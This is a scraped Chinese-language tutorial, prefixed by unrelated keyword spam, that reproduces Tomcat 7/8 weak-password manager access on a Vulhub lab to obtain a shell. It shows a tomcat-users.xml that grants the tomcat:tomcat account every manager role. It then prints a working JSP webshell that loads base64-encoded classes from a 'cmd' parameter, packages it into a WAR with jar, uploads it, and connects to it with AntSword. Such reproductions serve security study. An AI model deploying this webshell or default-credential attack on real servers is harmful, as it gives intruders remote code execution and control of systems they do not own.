合肥市庐阳区住房和城乡建设局网站,奢侈品网站建设方案,中国移动智慧社区,邢台哪儿专业做网站感谢互联网提供分享知识与智慧#xff0c;在法治的社会里#xff0c;请遵守有关法律法规 文章目录 1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描3、漏洞验证 说明内容漏洞编号漏洞名称Tomcat7 弱口令  后台getshell漏洞漏洞评级高… 感谢互联网提供分享知识与智慧在法治的社会里请遵守有关法律法规 文章目录 1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描3、漏洞验证    说明内容漏洞编号漏洞名称Tomcat7 弱口令  后台getshell漏洞漏洞评级高危影响范围Tomcat 版本8.0漏洞描述Tomcat 支持在后台部署 war 文件可以直接将 webshell 部署到 web 目录下。其中欲访问后台需要对应用户有相应权限tomcat8中默认没有任何用户且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下才可以进行攻击修复方案 
1.1、漏洞描述 
Tomcat 支持在后台部署 war 文件可以直接将 webshell 部署到 web 目录下。其中欲访问后台需要对应用户有相应权限 
Tomcat7权限分为 
manager后台管理 manager-gui 拥有html页面权限manager-status 拥有查看status的权限manager-script 拥有text接口的权限和status权限manager-jmx 拥有jmx权限和status权限 host-manager虚拟主机管理 admin-gui 拥有html页面权限admin-script 拥有text接口权限  
这些权限的究竟有什么作用详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html 
在conf/tomcat-users.xml文件中配置用户的权限 
?xml version1.0 encodingUTF-8?
tomcat-users xmlnshttp://tomcat.apache.org/xmlxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://tomcat.apache.org/xml tomcat-users.xsdversion1.0role rolenamemanager-gui/role rolenamemanager-script/role rolenamemanager-jmx/role rolenamemanager-status/role rolenameadmin-gui/role rolenameadmin-script/user usernametomcat passwordtomcat rolesmanager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script //tomcat-users可见用户tomcat拥有上述所有权限密码是tomcat。 
正常安装的情况下tomcat8中默认没有任何用户且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下才可以进行攻击。 
1.2、漏洞等级 
高危 
1.3、影响版本 
Tomcat 版本8.0 
1.4、漏洞复现 
1、基础环境 
PathVulhub/tomcat/tomcat8 启动测试环境 
sudo docker-compose up -d访问http://your-ip:8080/即可看到 点击Manager App即可跳到管理登陆页面 输入用户名密码 tomcat:tomcat来到管理界面 2、漏洞扫描 
3、漏洞验证 
登录到后台后可以通过部署war包进行getshell 
找一个a.jsp木马 
%!class U extends ClassLoader {U(ClassLoader c){super(c);}public Class g(byte[] b){return super.defineClass(b,0,b.length);}}public byte[] base64Decode(String str) throws Exception{try{Class clazz Class.forName(sun.misc.BASE64Decoder);return (byte[]) clazz.getMethod(decodeBuffer,String.class).invoke(clazz.newInstance(),str);}catch (Exception e){Class clazz Class.forName(java.util.Base64);Object decoder clazz.getMethod(getDecoder).invoke(null);return(byte[])decoder.getClass().getMethod(decode,String.class).invoke(decoder,str);}}
%
% String cls request.getParameter(cmd);if(cls ! null){new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 }
% 
打包成war包 
jar cvf tomcat.war a.jsp上传打包的tomcat.war 
生成一个tomcat的路径 在地址栏路径中访问http://192.168.80.141:8080/tomcat/a.jsp 蚁剑连接密码cmd